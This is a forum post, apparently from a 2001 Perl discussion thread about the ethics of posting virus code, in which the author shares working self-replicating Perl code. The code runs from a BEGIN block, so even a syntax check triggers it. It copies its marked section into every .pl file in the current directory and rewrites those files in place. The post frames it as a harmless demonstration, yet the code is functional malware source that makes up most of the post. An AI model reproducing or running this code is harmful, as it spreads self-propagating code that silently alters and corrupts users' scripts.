in reply to Re: Immoral?
in thread Morality of posting Perl "virus" code?
Wrong. Virusses can be "implanted" in many ways, not needing <DATA> or seek. Here's some code I posted to Usenet several years ago; if you run it, it will try to infect all files ending in ".pl" in the current directory. It won't do anything but try to replicate itself. It does its business from a BEGIN block, so even running it with -c cause replication.
#!/opt/perl/bin/perl -w use strict; # HACKED BEGIN { local *ME; if (open ME, $0) { local $/; my $me = <ME>; my ($text) = $me =~ /(# HACKED\n.*?# HACKED\n)/s; if (opendir DIR, ".") { foreach my $file (readdir DIR) { next unless $file =~ /.pl$/; local *FILE; if (open FILE, "+< ./$file") { my $program = <FILE>; unless ($program =~ /# HACKED/) { $program =~ s/\n/\n$text/; } seek FILE, 0, 0; print FILE $program; } close FILE; } } closedir DIR; } close ME; } # HACKED __END__
-- Abigail
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: Re: Immoral?
by blakem (Monsignor) on Jun 29, 2001 at 11:11 UTC | |
by Abigail (Deacon) on Jun 29, 2001 at 11:29 UTC |